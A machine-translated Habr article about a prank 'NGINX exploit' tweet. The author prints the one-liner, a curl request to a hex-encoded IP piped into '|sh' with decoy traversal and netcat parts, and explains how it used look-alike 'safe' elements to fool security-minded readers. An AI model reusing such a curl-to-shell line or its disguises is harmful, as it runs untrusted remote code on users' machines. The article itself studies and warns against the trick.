Bilješka. transl.:
TL;DR: Ni pod kojim okolnostima nemojte koristiti dostavljanje datoteka u sh ili bash. Ovo je odličan način da izgubite kontrolu nad računarom.
Želim s vama podijeliti kratku priču o komičnom PoC exploit-u koji je nastao 31. maja. Odmah se pojavio kao odgovor na vijesti iz
Nakon što sam završio rad na novoj tehnici zamagljivanja u curl-u, citirao sam originalni tweet i „propustio radni PoC“ koji se sastoji od jednog reda koda koji navodno iskorištava otkrivenu ranjivost. Naravno, ovo je bila potpuna glupost. Pretpostavljao sam da ću odmah biti razotkriven i da ću u najboljem slučaju dobiti par retweetova (ma dobro).
Međutim, nisam mogao ni zamisliti šta se dalje dogodilo. Popularnost mog tvita je naglo porasla. Iznenađujuće, u ovom trenutku (15:00 po moskovskom vremenu, 1. jun) malo ljudi je shvatilo da je ovo laž. Mnogi ljudi ga retvitiraju bez da ga uopće provjere (a kamoli da se dive lijepoj ASCII grafici koju daje).
Pogledajte samo kako je lepo!
Iako su sve ove petlje i boje sjajne, jasno je da su ljudi morali pokrenuti kod na svojoj mašini da bi ih vidjeli. Srećom, pretraživači funkcionišu na isti način, a u kombinaciji sa činjenicom da zapravo nisam želeo da upadam u pravne probleme, kod zakopan u mojoj veb lokaciji je samo upućivao eho pozive bez pokušaja da instaliram ili izvršim bilo koji dodatni kod.
Mala digresija:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Društveno-elektronski inženjering (SEE) - više od phishinga
Sigurnost i poznavanje bili su glavni dio ovog eksperimenta. Mislim da su upravo oni doveli do njegovog uspjeha. Komandna linija je jasno implicirala sigurnost pozivajući se na "127.0.0.1" (dobro poznati lokalni host). Localhost se smatra sigurnim i podaci na njemu nikada ne napuštaju vaš računar.
Poznavanje je bila druga ključna komponenta eksperimenta u JIE. Budući da su ciljnu publiku prvenstveno činili ljudi upoznati sa osnovama računarske sigurnosti, bilo je važno kreirati kod tako da dijelovi izgleda poznati i poznati (a samim tim i sigurni). Pozajmljivanje elemenata starih exploit koncepata i njihovo kombiniranje na neobičan način pokazalo se vrlo uspješnim.
Ispod je detaljna analiza jednolinera. Sve na ovoj listi nosi kozmetičke prirode, i praktično ništa nije potrebno za njegov stvarni rad.
Koje komponente su zaista neophodne? Ovo -gsS
, -O 0x0238f06a
, |sh
i sam web server. Web server nije sadržavao nikakva zlonamjerna uputstva, već je jednostavno služio ASCII grafiku koristeći komande echo
u skripti sadržanoj u index.html
. Kada je korisnik unio red sa |sh
u sredini, index.html
učitano i izvršeno. Srećom, čuvari web servera nisu imali zle namjere.
-
../../../%00
— predstavlja izlazak izvan imenika; -
ngx_stream_module.so
— putanja do slučajnog NGINX modula; -
/bin/sh%00<'protocol:TCP'
- navodno lansiramo/bin/sh
na ciljnoj mašini i preusmjeriti izlaz na TCP kanal; -
-O 0x0238f06a#PLToffset
- tajni sastojak, dopunjen#PLToffset
, da izgleda kao memorijski pomak na neki način sadržan u PLT-u; -
|sh;
- još jedan važan fragment. Trebali smo preusmjeriti izlaz na sh/bash kako bismo izvršili kod koji dolazi sa napadačkog web servera koji se nalazi na0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- lutka u kojoj se netcat odnosi/dev/tcp/localhost
tako da sve ponovo izgleda sigurno. U stvari, ne radi ništa i uključen je u liniju za ljepotu.
Ovim se završava dekodiranje skripte u jednom redu i rasprava o aspektima „socio-elektronskog inženjeringa“ (zamršen phishing).
Konfiguracija web servera i protumjere
Pošto su velika većina mojih pretplatnika infosec/hakeri, odlučio sam da web server učinim malo otpornijim na izražavanje “interesa” sa njihove strane, samo da bi momci imali šta da rade (a bilo bi zabavno postaviti). Neću ovdje nabrajati sve zamke jer eksperiment još uvijek traje, ali evo nekoliko stvari koje server radi:
- Aktivno prati pokušaje distribucije na određenim društvenim mrežama i zamjenjuje razne sličice za pregled kako bi podstakao korisnika da klikne na link.
- Preusmjerava Chrome/Mozilla/Safari/itd na promotivni video Thugcrowd umjesto da prikazuje shell skriptu.
- Prati OČITNE znakove upada/očiglednog hakovanja, a zatim počinje preusmjeravati zahtjeve na NSA servere (ha!).
- Instalira trojanca, kao i BIOS rootkit, na sve računare čiji korisnici posećuju host iz običnog pretraživača (šalim se!).
Mali dio antimera
U ovom slučaju, moj jedini cilj je bio da savladam neke od karakteristika Apache-a - posebno, cool pravila za preusmeravanje zahteva - i pomislio sam: zašto da ne?
NGINX eksploatacija (stvarno!)
Pretplatite se na
izvor: www.habr.com